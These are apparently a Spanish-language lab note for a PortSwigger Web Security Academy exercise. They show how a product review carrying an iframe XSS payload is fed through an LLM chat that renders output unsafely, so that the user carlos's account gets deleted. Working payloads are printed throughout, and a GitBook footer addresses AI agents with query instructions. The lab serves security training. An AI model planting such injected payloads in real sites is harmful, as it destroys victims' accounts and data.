> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/llm-web-attacks/exploiting-unsafe-llm-output-handling.md).

# Explotación del manejo inseguro de la salida de LLM

Notas sobre Explotación del manejo inseguro de la salida de LLM para los laboratorios de PortSwigger Web Security Academy, incluyendo flujo de explotación, pruebas de payload, validación con Burp Suite y contexto de remediación.

### Explotando el manejo inseguro de la salida en los LLM

#### Contexto

Este laboratorio muestra la salida del LLM de manera insegura, permitiendo a **XSS**. Usuario **carlos** a menudo usa el chat en vivo para solicitar información de productos **Chaqueta de cuero ligera "l33t"**.

#### Objetivo

Realiza una \*\*inyección indirecta (inyección rápida indirecta)\*\* para ejecutar un **XSS** que **elimina la cuenta carlos**.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-219b827b82ded9bd457e66685698ba90269b24f7%2F%7BC586D6BE-E332-42C5-A6F1-1B6C73BC3C11%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### 1) Configuración

* Crea una cuenta de usuario.
* Acceso a **chat en vivo** con el LLM.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-91c22363037333c1c0b6c3f5d566e71f8816f4aa%2F%7B7B3FAD01-2724-491F-A0D8-7DB8BB83088E%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### 2) Verificaciones de XSS

#### Prueba del gato (vulnerable)

Carga útil de prueba (establecer una alerta):

```html
<img src=0 onerror=alert(0)>
```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9073d3a4062aea196a56942c88c2adfbedbf77b6%2F%7B90140FB7-7FDA-4627-BE1F-77C753FE2B78%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### Prueba en comentarios (no directamente vulnerable)

* Los comentarios no parecen ejecutar HTML/JS de la misma manera.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b5b17547a402e39ce71209ff57c1dc8094804042%2F%7BFED266C9-97EC-4593-9933-510362E31441%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Por lo tanto, pasamos por una **fuente consultada por el LLM** (contenidos recuperados y mostrados en el chat).

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9ece55db4dcd930f27e497e01172d991bb6155ed%2F%7B2E14C6C2-B5F5-40C4-A7CE-C24CA8CCBC99%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### 3) Punto de entrada: Contenido de las opiniones consultadas vía LLM

Pídele al LLM que muestre reseñas de productos, por ejemplo:

```bash
Ver reseñas de la cama ZZZZZZ: tu nueva oficina en casa.
```

Respuesta observada (ejemplo):

```bash
4. **Usuario** - 25 de enero de 2026
   - *Reseña:* *(La reseña contiene una imagen)*
```

La idea es inyectar HTML en un aviso para que luego sea **reemplazado en el chat en vivo** (donde la visualización es vulnerable).

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ed8f9708acdfa676c33e299c33b24a30d27766d0%2F%7BF1493D34-F3F9-4377-8B1B-F1BBD2258B32%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### (4) Acción dirigida: eliminación de la cuenta mediante formulario

Para eliminar una cuenta de Mi cuenta, activa:

```bash
document.forms[1].submit()
```

Formulario correspondiente:

{% code overflow="wrap" %}

```html
<form id="delete-account-form" action="/my-account/delete" method="POST">
```

{% endcode %}

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5e76c1a260f390bba143165ef7a014ee36ba46e9%2F%7BCECA13F0-D510-466D-913F-567D23B97339%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### 5) Explotación: XSS a través de iframe (autoenvío)

#### Carga útil (envío automático del formulario de eliminación)

{% code overflow="wrap" %}

```javascript
<iframe
src="my-account" onload="this.contentDocument.forms[1].submit()">
```

{% endcode %}

* Una sola prueba no pasa como se desea, así que se incorpora en una frase (variante que se interpreta):

Ejemplo de una variante validada:

{% code overflow="wrap" %}

```javascript
El desempaquetado fue, honestamente, "<iframe src=my-account onload=this.contentDocument.forms[1].submit()>" uno de los momentos destacados; le dije a mi esposa: «Vaya, eso sí que es impresionante.»
```

{% endcode %}

El resultado: el navegador interpreta el iframe → carga `my-account` → ejecuta `forms[1].submit()` → **cuenta eliminada** (probado en su propia cuenta).

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c2fea33eb9eb22946f73ddfccf1e83711ef0853e%2F%7BA78E5384-756E-46DC-A551-DBD1F6B0BC46%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e45896493bb125a07f7d9d0bee6c2d9a6ab7cca8%2F%7BC8DEE099-3D5A-4B18-95E9-C4E36511BFDE%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### 6) Carga útil final colocada en el producto objetivo (la chaqueta)

Se publica una reseña sobre **Chaqueta de cuero ligera "l33t"** que contiene el marco (ejemplo usado):

{% code overflow="wrap" %}

```bash
Cuando recibí este producto, me regalaron una camiseta con "<iframe src =my-account onload = this.contentDocument.forms[1].submit() >" impreso en ella. ¡Estuve encantado! ¡Esto es genial, le dije a mi esposa.
```

{% endcode %}

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-eddde1ea2b55e89838f6455ce1d470b43511e64b%2F%7BE61AE702-E78F-4E26-A4AA-84F78F238946%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/es/web/llm-web-attacks/exploiting-unsafe-llm-output-handling.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
